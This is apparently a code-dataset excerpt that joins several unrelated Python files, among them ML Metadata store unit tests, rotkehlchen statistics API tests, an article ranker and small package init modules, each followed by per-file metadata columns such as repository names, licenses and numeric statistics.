def test_create_artifact_with_type_get_artifacts_by_id(self):
store = _get_metadata_store()
artifact_type = _create_example_artifact_type()
artifact = metadata_store_pb2.Artifact()
artifact.properties["foo"].int_value = 3
artifact.properties["bar"].string_value = "Hello"
artifact_id = store.create_artifact_with_type(artifact, artifact_type)
[artifact_result] = store.get_artifacts_by_id([artifact_id])
self.assertEqual(artifact_result.properties["bar"].string_value, "Hello")
self.assertEqual(artifact_result.properties["foo"].int_value, 3)
def test_put_execution_type_get_execution_type(self):
store = _get_metadata_store()
execution_type = metadata_store_pb2.ExecutionType()
execution_type.name = "test_type_1"
execution_type.properties["foo"] = metadata_store_pb2.INT
execution_type.properties["bar"] = metadata_store_pb2.STRING
type_id = store.put_execution_type(execution_type)
execution_type_result = store.get_execution_type("test_type_1")
self.assertEqual(execution_type_result.id, type_id)
self.assertEqual(execution_type_result.name, "test_type_1")
def test_put_execution_type_with_update_get_execution_type(self):
store = _get_metadata_store()
execution_type = metadata_store_pb2.ExecutionType()
execution_type.name = "test_type"
execution_type.properties["foo"] = metadata_store_pb2.DOUBLE
type_id = store.put_execution_type(execution_type)
want_execution_type = metadata_store_pb2.ExecutionType()
want_execution_type.id = type_id
want_execution_type.name = "test_type"
want_execution_type.properties["foo"] = metadata_store_pb2.DOUBLE
want_execution_type.properties["new_property"] = metadata_store_pb2.INT
store.put_execution_type(want_execution_type, can_add_fields=True)
got_execution_type = store.get_execution_type("test_type")
self.assertEqual(got_execution_type.id, type_id)
self.assertEqual(got_execution_type.name, "test_type")
self.assertEqual(got_execution_type.properties["foo"],
metadata_store_pb2.DOUBLE)
self.assertEqual(got_execution_type.properties["new_property"],
metadata_store_pb2.INT)
def test_put_executions_get_executions_by_id(self):
store = _get_metadata_store()
execution_type = metadata_store_pb2.ExecutionType()
execution_type.name = "test_type_1"
execution_type.properties["foo"] = metadata_store_pb2.INT
execution_type.properties["bar"] = metadata_store_pb2.STRING
type_id = store.put_execution_type(execution_type)
execution = metadata_store_pb2.Execution()
execution.type_id = type_id
execution.properties["foo"].int_value = 3
execution.properties["bar"].string_value = "Hello"
[execution_id] = store.put_executions([execution])
[execution_result] = store.get_executions_by_id([execution_id])
self.assertEqual(execution_result.properties["bar"].string_value, "Hello")
self.assertEqual(execution_result.properties["foo"].int_value, 3)
def test_put_executions_get_executions(self):
store = _get_metadata_store()
execution_type = _create_example_execution_type()
type_id = store.put_execution_type(execution_type)
execution_0 = metadata_store_pb2.Execution()
execution_0.type_id = type_id
execution_0.properties["foo"].int_value = 3
execution_0.properties["bar"].string_value = "Hello"
execution_1 = metadata_store_pb2.Execution()
execution_1.type_id = type_id
execution_1.properties["foo"].int_value = -9
execution_1.properties["bar"].string_value = "Goodbye"
[execution_id_0,
execution_id_1] = store.put_executions([execution_0, execution_1])
execution_result = store.get_executions()
self.assertLen(execution_result, 2)
# Normalize the order of the results.
if execution_result[0].id == execution_id_0:
[execution_result_0, execution_result_1] = execution_result
else:
[execution_result_1, execution_result_0] = execution_result
self.assertEqual(execution_result_0.id, execution_id_0)
self.assertEqual(execution_result_0.properties["bar"].string_value, "Hello")
self.assertEqual(execution_result_0.properties["foo"].int_value, 3)
self.assertEqual(execution_result_1.id, execution_id_1)
self.assertEqual(execution_result_1.properties["bar"].string_value,
"Goodbye")
self.assertEqual(execution_result_1.properties["foo"].int_value, -9)
def test_update_execution_get_execution(self):
store = _get_metadata_store()
execution_type = metadata_store_pb2.ExecutionType()
execution_type.name = "test_type_1"
execution_type.properties["foo"] = metadata_store_pb2.INT
execution_type.properties["bar"] = metadata_store_pb2.STRING
type_id = store.put_execution_type(execution_type)
execution = metadata_store_pb2.Execution()
execution.type_id = type_id
execution.properties["bar"].string_value = "Hello"
[execution_id] = store.put_executions([execution])
execution_2 = metadata_store_pb2.Execution()
execution_2.id = execution_id
execution_2.type_id = type_id
execution_2.properties["foo"].int_value = 12
execution_2.properties["bar"].string_value = "Goodbye"
[execution_id_2] = store.put_executions([execution_2])
self.assertEqual(execution_id, execution_id_2)
[execution_result] = store.get_executions_by_id([execution_id])
self.assertEqual(execution_result.properties["bar"].string_value, "Goodbye")
self.assertEqual(execution_result.properties["foo"].int_value, 12)
# TODO(b/121047373): missing artifact ID causes a crash.
def test_put_events_get_events(self):
store = _get_metadata_store()
execution_type = metadata_store_pb2.ExecutionType()
execution_type.name = "execution_type"
execution_type_id = store.put_execution_type(execution_type)
execution = metadata_store_pb2.Execution()
execution.type_id = execution_type_id
[execution_id] = store.put_executions([execution])
artifact_type = metadata_store_pb2.ArtifactType()
artifact_type.name = "artifact_type"
artifact_type_id = store.put_artifact_type(artifact_type)
artifact = metadata_store_pb2.Artifact()
artifact.type_id = artifact_type_id
[artifact_id] = store.put_artifacts([artifact])
event = metadata_store_pb2.Event()
event.type = metadata_store_pb2.Event.DECLARED_OUTPUT
event.artifact_id = artifact_id
event.execution_id = execution_id
store.put_events([event])
[event_result] = store.get_events_by_artifact_ids([artifact_id])
self.assertEqual(event_result.artifact_id, artifact_id)
self.assertEqual(event_result.execution_id, execution_id)
self.assertEqual(event_result.type,
metadata_store_pb2.Event.DECLARED_OUTPUT)
[event_result_2] = store.get_events_by_execution_ids([execution_id])
self.assertEqual(event_result_2.artifact_id, artifact_id)
self.assertEqual(event_result_2.execution_id, execution_id)
self.assertEqual(event_result_2.type,
metadata_store_pb2.Event.DECLARED_OUTPUT)
def test_get_executions_by_id_empty(self):
store = _get_metadata_store()
result = store.get_executions_by_id({})
self.assertEmpty(result)
def test_get_artifact_type_fails(self):
store = _get_metadata_store()
with self.assertRaises(errors.NotFoundError):
store.get_artifact_type("test_type_1")
def test_put_events_no_artifact_id(self):
# No execution_id throws the same error type, so we just test this.
store = _get_metadata_store()
execution_type = metadata_store_pb2.ExecutionType()
execution_type.name = "execution_type"
execution_type_id = store.put_execution_type(execution_type)
execution = metadata_store_pb2.Execution()
execution.type_id = execution_type_id
[execution_id] = store.put_executions([execution])
event = metadata_store_pb2.Event()
event.type = metadata_store_pb2.Event.DECLARED_OUTPUT
event.execution_id = execution_id
with self.assertRaises(errors.InvalidArgumentError):
store.put_events([event])
def test_put_events_with_paths(self):
store = _get_metadata_store()
execution_type = metadata_store_pb2.ExecutionType()
execution_type.name = "execution_type"
execution_type_id = store.put_execution_type(execution_type)
execution = metadata_store_pb2.Execution()
execution.type_id = execution_type_id
[execution_id] = store.put_executions([execution])
artifact_type = metadata_store_pb2.ArtifactType()
artifact_type.name = "artifact_type"
artifact_type_id = store.put_artifact_type(artifact_type)
artifact_0 = metadata_store_pb2.Artifact()
artifact_0.type_id = artifact_type_id
artifact_1 = metadata_store_pb2.Artifact()
artifact_1.type_id = artifact_type_id
[artifact_id_0,
artifact_id_1] = store.put_artifacts([artifact_0, artifact_1])
event_0 = metadata_store_pb2.Event()
event_0.type = metadata_store_pb2.Event.DECLARED_INPUT
event_0.artifact_id = artifact_id_0
event_0.execution_id = execution_id
event_0.path.steps.add().key = "ggg"
event_1 = metadata_store_pb2.Event()
event_1.type = metadata_store_pb2.Event.DECLARED_INPUT
event_1.artifact_id = artifact_id_1
event_1.execution_id = execution_id
event_1.path.steps.add().key = "fff"
store.put_events([event_0, event_1])
[event_result_0,
event_result_1] = store.get_events_by_execution_ids([execution_id])
self.assertLen(event_result_0.path.steps, 1)
self.assertEqual(event_result_0.path.steps[0].key, "ggg")
self.assertLen(event_result_1.path.steps, 1)
self.assertEqual(event_result_1.path.steps[0].key, "fff")
def test_put_events_with_paths_same_artifact(self):
store = _get_metadata_store()
execution_type = metadata_store_pb2.ExecutionType()
execution_type.name = "execution_type"
execution_type_id = store.put_execution_type(execution_type)
execution_0 = metadata_store_pb2.Execution()
execution_0.type_id = execution_type_id
execution_1 = metadata_store_pb2.Execution()
execution_1.type_id = execution_type_id
[execution_id_0,
execution_id_1] = store.put_executions([execution_0, execution_1])
artifact_type = metadata_store_pb2.ArtifactType()
artifact_type.name = "artifact_type"
artifact_type_id = store.put_artifact_type(artifact_type)
artifact = metadata_store_pb2.Artifact()
artifact.type_id = artifact_type_id
[artifact_id] = store.put_artifacts([artifact])
event_0 = metadata_store_pb2.Event()
event_0.type = metadata_store_pb2.Event.DECLARED_INPUT
event_0.artifact_id = artifact_id
event_0.execution_id = execution_id_0
event_0.path.steps.add().key = "ggg"
event_1 = metadata_store_pb2.Event()
event_1.type = metadata_store_pb2.Event.DECLARED_INPUT
event_1.artifact_id = artifact_id
event_1.execution_id = execution_id_1
event_1.path.steps.add().key = "fff"
store.put_events([event_0, event_1])
[event_result_0,
event_result_1] = store.get_events_by_artifact_ids([artifact_id])
self.assertLen(event_result_0.path.steps, 1)
self.assertEqual(event_result_0.path.steps[0].key, "ggg")
self.assertLen(event_result_1.path.steps, 1)
self.assertEqual(event_result_1.path.steps[0].key, "fff")
if __name__ == "__main__":
absltest.main()
| 43.17126
| 80
| 0.765948
| 2,969
| 21,931
| 5.211519
| 0.068036
| 0.0983
| 0.090997
| 0.031022
| 0.861695
| 0.796549
| 0.731338
| 0.690752
| 0.648097
| 0.614361
| 0
| 0.018217
| 0.141444
| 21,931
| 507
| 81
| 43.25641
| 0.803548
| 0.041722
| 0
| 0.585132
| 0
| 0
| 0.034443
| 0
| 0
| 0
| 0
| 0.001972
| 0.155875
| 1
| 0.067146
| false
| 0.004796
| 0.016787
| 0
| 0.098321
| 0.002398
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
13d7b89e05e118d8c951f5f345978268ed2852d8
| 59
|
py
|
Python
|
app/services/__init__.py
|
dingqi0201/News-Rec-System
|
c238633e4dff4f52b17239733ecedb4984696e12
|
[
"BSD-3-Clause"
] | null | null | null |
app/services/__init__.py
|
dingqi0201/News-Rec-System
|
c238633e4dff4f52b17239733ecedb4984696e12
|
[
"BSD-3-Clause"
] | null | null | null |
app/services/__init__.py
|
dingqi0201/News-Rec-System
|
c238633e4dff4f52b17239733ecedb4984696e12
|
[
"BSD-3-Clause"
] | null | null | null |
"""
__init__.py
~~~~~~~~
服务类
2020/9/2
"""
| 7.375
| 15
| 0.322034
| 6
| 59
| 2.5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.166667
| 0.389831
| 59
| 7
| 16
| 8.428571
| 0.25
| 0.576271
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
b92740f71ae2306cf24d59885c8de471bd20fb92
| 481
|
py
|
Python
|
src/kayako/objects/__init__.py
|
iXsystems/kayako-python-api-library
|
5c43ae331904eac1a66301e2f40d29a4e52fd49d
|
[
"BSD-2-Clause-FreeBSD"
] | null | null | null |
src/kayako/objects/__init__.py
|
iXsystems/kayako-python-api-library
|
5c43ae331904eac1a66301e2f40d29a4e52fd49d
|
[
"BSD-2-Clause-FreeBSD"
] | null | null | null |
src/kayako/objects/__init__.py
|
iXsystems/kayako-python-api-library
|
5c43ae331904eac1a66301e2f40d29a4e52fd49d
|
[
"BSD-2-Clause-FreeBSD"
] | null | null | null |
# -*- coding: utf-8 -*-
#-----------------------------------------------------------------------------
# Copyright (c) 2011, Evan Leis
#
# Distributed under the terms of the Lesser GNU General Public License (LGPL)
#-----------------------------------------------------------------------------
from department import *
from staff import *
from ticket import *
from user import *
from knowledgebase import *
from custom_field import *
from news import *
from troubleshooter import *
| 34.357143
| 78
| 0.503119
| 45
| 481
| 5.355556
| 0.666667
| 0.290456
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.01182
| 0.120582
| 481
| 14
| 79
| 34.357143
| 0.55792
| 0.5842
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
b9676f162b622d0346dab05b7b166b48ffc451f4
| 15,188
|
py
|
Python
|
rotkehlchen/tests/api/test_statistics.py
|
coblee/rotki
|
d675f5c2d0df5176337b7b10038524ee74923482
|
[
"BSD-3-Clause"
] | 1
|
2021-04-01T20:40:17.000Z
|
2021-04-01T20:40:17.000Z
|
rotkehlchen/tests/api/test_statistics.py
|
coblee/rotki
|
d675f5c2d0df5176337b7b10038524ee74923482
|
[
"BSD-3-Clause"
] | 3
|
2021-01-28T21:30:46.000Z
|
2022-03-25T19:17:00.000Z
|
rotkehlchen/tests/api/test_statistics.py
|
coblee/rotki
|
d675f5c2d0df5176337b7b10038524ee74923482
|
[
"BSD-3-Clause"
] | null | null | null |
import contextlib
from contextlib import ExitStack
from http import HTTPStatus
from unittest.mock import patch
import pytest
import requests
from rotkehlchen.balances.manual import ManuallyTrackedBalance
from rotkehlchen.constants.assets import A_EUR
from rotkehlchen.fval import FVal
from rotkehlchen.tests.utils.api import api_url_for, assert_error_response, assert_proper_response
from rotkehlchen.tests.utils.balances import get_asset_balance_total
from rotkehlchen.tests.utils.constants import A_RDN
from rotkehlchen.tests.utils.factories import UNIT_BTC_ADDRESS1, UNIT_BTC_ADDRESS2
from rotkehlchen.tests.utils.mock import MockResponse
from rotkehlchen.tests.utils.rotkehlchen import setup_balances
from rotkehlchen.typing import Location
from rotkehlchen.utils.misc import ts_now
@pytest.mark.parametrize('number_of_eth_accounts', [2])
@pytest.mark.parametrize('btc_accounts', [[UNIT_BTC_ADDRESS1, UNIT_BTC_ADDRESS2]])
@pytest.mark.parametrize('added_exchanges', [('binance', 'poloniex')])
@pytest.mark.parametrize('start_with_valid_premium', [True, False])
def test_query_statistics_netvalue(
rotkehlchen_api_server_with_exchanges,
ethereum_accounts,
btc_accounts,
start_with_valid_premium,
):
"""Test that using the statistics netvalue over time endpoint works"""
# Disable caching of query results
rotki = rotkehlchen_api_server_with_exchanges.rest_api.rotkehlchen
rotki.chain_manager.cache_ttl_secs = 0
setup = setup_balances(rotki, ethereum_accounts, btc_accounts)
# query balances and save data in DB to have data to test the statistics endpoint
with ExitStack() as stack:
setup.enter_all_patches(stack)
response = requests.get(
api_url_for(
rotkehlchen_api_server_with_exchanges,
"allbalancesresource",
), json={'save_data': True},
)
assert_proper_response(response)
# and now test that statistics work fine
response = requests.get(
api_url_for(
rotkehlchen_api_server_with_exchanges,
"statisticsnetvalueresource",
),
)
if start_with_valid_premium:
assert_proper_response(response)
data = response.json()
assert data['message'] == ''
assert len(data['result']) == 2
assert len(data['result']['times']) == 1
assert len(data['result']['data']) == 1
else:
assert_error_response(
response=response,
contained_in_msg='logged in user testuser does not have a premium subscription',
status_code=HTTPStatus.CONFLICT,
)
@pytest.mark.parametrize('number_of_eth_accounts', [2])
@pytest.mark.parametrize('btc_accounts', [[UNIT_BTC_ADDRESS1, UNIT_BTC_ADDRESS2]])
@pytest.mark.parametrize('added_exchanges', [('binance', 'poloniex')])
@pytest.mark.parametrize('start_with_valid_premium', [True, False])
def test_query_statistics_asset_balance(
rotkehlchen_api_server_with_exchanges,
ethereum_accounts,
btc_accounts,
start_with_valid_premium,
):
"""Test that using the statistics asset balance over time endpoint works"""
start_time = ts_now()
# Disable caching of query results
rotki = rotkehlchen_api_server_with_exchanges.rest_api.rotkehlchen
rotki.chain_manager.cache_ttl_secs = 0
setup = setup_balances(rotki, ethereum_accounts, btc_accounts)
# query balances and save data in DB to have data to test the statistics endpoint
with ExitStack() as stack:
setup.enter_all_patches(stack)
response = requests.get(
api_url_for(
rotkehlchen_api_server_with_exchanges,
"allbalancesresource",
), json={'save_data': True},
)
assert_proper_response(response)
# and now test that statistics work fine for ETH, with default time range (0 - now)
response = requests.get(
api_url_for(
rotkehlchen_api_server_with_exchanges,
"statisticsassetbalanceresource",
asset="ETH",
),
)
if start_with_valid_premium:
assert_proper_response(response)
data = response.json()
assert data['message'] == ''
assert len(data['result']) == 1
entry = data['result'][0]
assert len(entry) == 3
assert FVal(entry['amount']) == get_asset_balance_total('ETH', setup)
assert entry['time'] >= start_time
assert entry['usd_value'] is not None
else:
assert_error_response(
response=response,
contained_in_msg='logged in user testuser does not have a premium subscription',
status_code=HTTPStatus.CONFLICT,
)
# and now test that statistics work fine for BTC, with given time range
response = requests.get(
api_url_for(
rotkehlchen_api_server_with_exchanges,
"statisticsassetbalanceresource",
asset="BTC",
), json={'from_timestamp': 0, 'to_timestamp': start_time + 60000},
)
if start_with_valid_premium:
assert_proper_response(response)
data = response.json()
assert data['message'] == ''
assert len(data['result']) == 1
entry = data['result'][0]
assert len(entry) == 3
assert FVal(entry['amount']) == get_asset_balance_total('BTC', setup)
assert entry['time'] >= start_time
assert entry['usd_value'] is not None
else:
assert_error_response(
response=response,
contained_in_msg='logged in user testuser does not have a premium subscription',
status_code=HTTPStatus.CONFLICT,
)
# finally test that if the time range is not including the saved balances we get nothing back
response = requests.get(
api_url_for(
rotkehlchen_api_server_with_exchanges,
"statisticsassetbalanceresource",
asset="BTC",
), json={'from_timestamp': 0, 'to_timestamp': start_time - 1},
)
if start_with_valid_premium:
assert_proper_response(response)
data = response.json()
assert data['message'] == ''
assert len(data['result']) == 0
else:
assert_error_response(
response=response,
contained_in_msg='logged in user testuser does not have a premium subscription',
status_code=HTTPStatus.CONFLICT,
)
@pytest.mark.parametrize('start_with_valid_premium', [True])
def test_query_statistics_asset_balance_errors(rotkehlchen_api_server, api_port):
"""Test that errors at the statistics asset balance over time endpoint are hanled properly"""
start_time = ts_now()
# Check that no asset given is an error
response = requests.get(f'http://localhost:{api_port}/api/1/statistics/balance')
assert_error_response(
response=response,
status_code=HTTPStatus.NOT_FOUND,
)
# Check that an invalid asset given is an error
response = requests.get(
api_url_for(
rotkehlchen_api_server,
"statisticsassetbalanceresource",
asset="NOTAREALASSSETLOL",
), json={'from_timestamp': 0, 'to_timestamp': start_time},
)
assert_error_response(
response=response,
contained_in_msg='Unknown asset NOTAREALASSSETLOL provided',
status_code=HTTPStatus.BAD_REQUEST,
)
# Check that giving invalid value for from_timestamp is an error
response = requests.get(
api_url_for(
rotkehlchen_api_server,
"statisticsassetbalanceresource",
asset="BTC",
), json={'from_timestamp': 'dsad', 'to_timestamp': start_time},
)
assert_error_response(
response=response,
contained_in_msg='Failed to deserialize a timestamp entry from string dsad',
status_code=HTTPStatus.BAD_REQUEST,
)
# Check that giving invalid value for to_timestamp is an error
response = requests.get(
api_url_for(
rotkehlchen_api_server,
"statisticsassetbalanceresource",
asset="BTC",
), json={'from_timestamp': 0, 'to_timestamp': 53434.32},
)
assert_error_response(
response=response,
contained_in_msg='"Failed to deserialize a timestamp entry. Unexpected type',
status_code=HTTPStatus.BAD_REQUEST,
)
@pytest.mark.parametrize('number_of_eth_accounts', [2])
@pytest.mark.parametrize('btc_accounts', [[UNIT_BTC_ADDRESS1, UNIT_BTC_ADDRESS2]])
@pytest.mark.parametrize('added_exchanges', [('binance', 'poloniex')])
@pytest.mark.parametrize('start_with_valid_premium', [True, False])
def test_query_statistics_value_distribution(
rotkehlchen_api_server_with_exchanges,
ethereum_accounts,
btc_accounts,
start_with_valid_premium,
):
"""Test that using the statistics value distribution endpoint works"""
start_time = ts_now()
# Disable caching of query results
rotki = rotkehlchen_api_server_with_exchanges.rest_api.rotkehlchen
rotki.chain_manager.cache_ttl_secs = 0
token_balances = {A_RDN: ['111000', '4000000']}
setup = setup_balances(
rotki=rotki,
ethereum_accounts=ethereum_accounts,
btc_accounts=btc_accounts,
token_balances=token_balances,
manually_tracked_balances=[ManuallyTrackedBalance(
asset=A_EUR,
label='My EUR bank',
amount=FVal('1550'),
location=Location.BANKS,
tags=None,
)],
)
# query balances and save data in DB to have data to test the statistics endpoint
with ExitStack() as stack:
setup.enter_all_patches(stack)
response = requests.get(
api_url_for(
rotkehlchen_api_server_with_exchanges,
"allbalancesresource",
), json={'save_data': True},
)
assert_proper_response(response)
def assert_okay_by_location(response):
"""Helper function to run next query and its assertion twice"""
if start_with_valid_premium:
assert_proper_response(response)
data = response.json()
assert data['message'] == ''
assert len(data['result']) == 5
locations = {'poloniex', 'binance', 'banks', 'blockchain', 'total'}
for entry in data['result']:
assert len(entry) == 3
assert entry['time'] >= start_time
assert entry['usd_value'] is not None
assert entry['location'] in locations
locations.remove(entry['location'])
assert len(locations) == 0
else:
assert_error_response(
response=response,
contained_in_msg='logged in user testuser does not have a premium subscription',
status_code=HTTPStatus.CONFLICT,
)
# and now test that statistics work fine for distribution by location for json body
response = requests.get(
api_url_for(
rotkehlchen_api_server_with_exchanges,
"statisticsvaluedistributionresource",
), json={'distribution_by': 'location'},
)
assert_okay_by_location(response)
# and now test that statistics work fine for distribution by location for query params
response = requests.get(
api_url_for(
rotkehlchen_api_server_with_exchanges,
"statisticsvaluedistributionresource",
) + '?distribution_by=location',
)
assert_okay_by_location(response)
# finally test that statistics work fine for distribution by asset
response = requests.get(
api_url_for(
rotkehlchen_api_server_with_exchanges,
"statisticsvaluedistributionresource",
), json={'distribution_by': 'asset'},
)
if start_with_valid_premium:
assert_proper_response(response)
data = response.json()
assert data['message'] == ''
assert len(data['result']) == 4
totals = {
'ETH': get_asset_balance_total('ETH', setup),
'BTC': get_asset_balance_total('BTC', setup),
'EUR': get_asset_balance_total('EUR', setup),
'RDN': get_asset_balance_total('RDN', setup),
}
for entry in data['result']:
assert len(entry) == 4
assert entry['time'] >= start_time
assert entry['usd_value'] is not None
assert FVal(entry['amount']) == totals[entry['asset']]
else:
assert_error_response(
response=response,
contained_in_msg='logged in user testuser does not have a premium subscription',
status_code=HTTPStatus.CONFLICT,
)
@pytest.mark.parametrize('start_with_valid_premium', [True])
def test_query_statistics_value_distribution_errors(rotkehlchen_api_server):
"""Test that the statistics value distribution endpoint handles errors properly"""
# Test omitting the distribution_by argument
response = requests.get(
api_url_for(
rotkehlchen_api_server,
"statisticsvaluedistributionresource",
),
)
assert_error_response(
response=response,
contained_in_msg='Missing data for required field',
status_code=HTTPStatus.BAD_REQUEST,
)
# Test invalid value for distribution_by
response = requests.get(
api_url_for(
rotkehlchen_api_server,
"statisticsvaluedistributionresource",
), json={'distribution_by': 'haircolor'},
)
assert_error_response(
response=response,
contained_in_msg='Must be one of: location, asset',
status_code=HTTPStatus.BAD_REQUEST,
)
@pytest.mark.parametrize('start_with_valid_premium', [True, False])
def test_query_statistics_renderer(rotkehlchen_api_server, start_with_valid_premium):
"""Test that the statistics renderer endpoint works when properly queried"""
rotki = rotkehlchen_api_server.rest_api.rotkehlchen
if start_with_valid_premium:
def mock_premium_get(url, *_args, **_kwargs):
if 'last_data_metadata' in url:
response = (
'{"upload_ts": 0, "last_modify_ts": 0, "data_hash": "0x0", "data_size": 0}'
)
else:
response = '{"data": "codegoeshere"}'
return MockResponse(200, response)
premium_patch = patch.object(rotki.premium.session, 'get', mock_premium_get)
else:
premium_patch = contextlib.nullcontext()
with premium_patch:
response = requests.get(
api_url_for(
rotkehlchen_api_server,
"statisticsrendererresource",
),
)
if start_with_valid_premium:
assert_proper_response(response)
data = response.json()
assert data['message'] == ''
assert data['result'] == 'codegoeshere'
else:
assert_error_response(
response=response,
contained_in_msg='logged in user testuser does not have a premium subscription',
status_code=HTTPStatus.CONFLICT,
)
| 37.781095
| 98
| 0.657624
| 1,692
| 15,188
| 5.634752
| 0.134752
| 0.060415
| 0.054542
| 0.039648
| 0.751101
| 0.733061
| 0.714286
| 0.707888
| 0.664569
| 0.657122
| 0
| 0.006439
| 0.253555
| 15,188
| 401
| 99
| 37.875312
| 0.834524
| 0.107848
| 0
| 0.65407
| 0
| 0.002907
| 0.164641
| 0.04757
| 0
| 0
| 0.000222
| 0
| 0.174419
| 1
| 0.023256
| false
| 0
| 0.049419
| 0
| 0.075581
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
b9797538caf5fe498cb36195a018b0e06994a483
| 760
|
py
|
Python
|
ranker/__init__.py
|
plankt/hackerscrape
|
b2d96f7b6d726e0970b831f58782a2f169c942ac
|
[
"MIT"
] | 1
|
2019-05-11T16:08:02.000Z
|
2019-05-11T16:08:02.000Z
|
ranker/__init__.py
|
plankt/hackerscrape
|
b2d96f7b6d726e0970b831f58782a2f169c942ac
|
[
"MIT"
] | 1
|
2019-05-11T09:59:12.000Z
|
2019-05-11T10:04:20.000Z
|
ranker/__init__.py
|
plankt/hackerscrape
|
b2d96f7b6d726e0970b831f58782a2f169c942ac
|
[
"MIT"
] | null | null | null |
from abc import abstractmethod
from objects.article import Article
from typing import List
from typing_extensions import Protocol
class Ranker(Protocol):
@abstractmethod
def rank(self, articles: List[Article]) -> List[Article]:
pass
class CreatedRanker(object):
def rank(self, articles: List[Article]) -> List[Article]:
return sorted(articles, key=lambda article: article.created, reverse=True)
class PointRanker(object):
def rank(self, articles: List[Article]) -> List[Article]:
return sorted(articles, key=lambda article: article.points, reverse=True)
class HeaderRanker(object):
def rank(self, articles: List[Article]) -> List[Article]:
return sorted(articles, key=lambda article: article.header)
| 29.230769
| 82
| 0.727632
| 92
| 760
| 6
| 0.326087
| 0.15942
| 0.07971
| 0.137681
| 0.563406
| 0.563406
| 0.563406
| 0.563406
| 0.48913
| 0.48913
| 0
| 0
| 0.167105
| 760
| 25
| 83
| 30.4
| 0.872038
| 0
| 0
| 0.235294
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.235294
| false
| 0.058824
| 0.235294
| 0.176471
| 0.882353
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
|
0
| 4
|
b999ef00864bd9265179682f428f7e1fbad9376f
| 183
|
py
|
Python
|
Algoritimos/uri1020.py
|
mathspin/Algoritimos-py
|
3a814dd924d9ee4c15ee4734170ed82f70e95479
|
[
"MIT"
] | null | null | null |
Algoritimos/uri1020.py
|
mathspin/Algoritimos-py
|
3a814dd924d9ee4c15ee4734170ed82f70e95479
|
[
"MIT"
] | null | null | null |
Algoritimos/uri1020.py
|
mathspin/Algoritimos-py
|
3a814dd924d9ee4c15ee4734170ed82f70e95479
|
[
"MIT"
] | null | null | null |
v = input("digite um valor em dias: ")
a = int(int(v)/365)
m = int((int(v)%365)/30)
d = int((int(v)%365)%30)
print(str(a)+" ano(s)")
print(str(m)+" mes(es)")
print(str(d)+" dias(s)")
| 22.875
| 38
| 0.562842
| 39
| 183
| 2.641026
| 0.487179
| 0.174757
| 0.203884
| 0.291262
| 0.23301
| 0
| 0
| 0
| 0
| 0
| 0
| 0.08125
| 0.125683
| 183
| 7
| 39
| 26.142857
| 0.5625
| 0
| 0
| 0
| 0
| 0
| 0.262295
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.428571
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
b99abf1ca7c4fb51cf778277d9240f89344f42a4
| 313
|
py
|
Python
|
table/__init__.py
|
erasmus-center-for-biomics/Nimbus
|
bbf7ca288d798d8f1c6156ddf45fed31892bd557
|
[
"MIT"
] | 4
|
2018-03-14T01:23:06.000Z
|
2021-07-23T07:50:08.000Z
|
table/__init__.py
|
erasmus-center-for-biomics/Nimbus
|
bbf7ca288d798d8f1c6156ddf45fed31892bd557
|
[
"MIT"
] | 8
|
2018-04-16T06:14:42.000Z
|
2020-05-27T15:27:12.000Z
|
table/__init__.py
|
erasmus-center-for-biomics/Nimbus
|
bbf7ca288d798d8f1c6156ddf45fed31892bd557
|
[
"MIT"
] | 5
|
2018-03-15T13:44:47.000Z
|
2018-12-18T01:55:56.000Z
|
from .base import Table, ConstantWidthTable, try_number, HeaderTable, TypedTable
from .multianno import MultiAnno
from .writer import Writer
from .Location import Loc, LocationReader, LocationMultiAnnoReader, LocationWriter
from .variant_writer import Variant, VariantWriter
from .VCF import VCFReader, VCFWriter
| 44.714286
| 82
| 0.846645
| 35
| 313
| 7.514286
| 0.6
| 0.091255
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.105431
| 313
| 6
| 83
| 52.166667
| 0.939286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
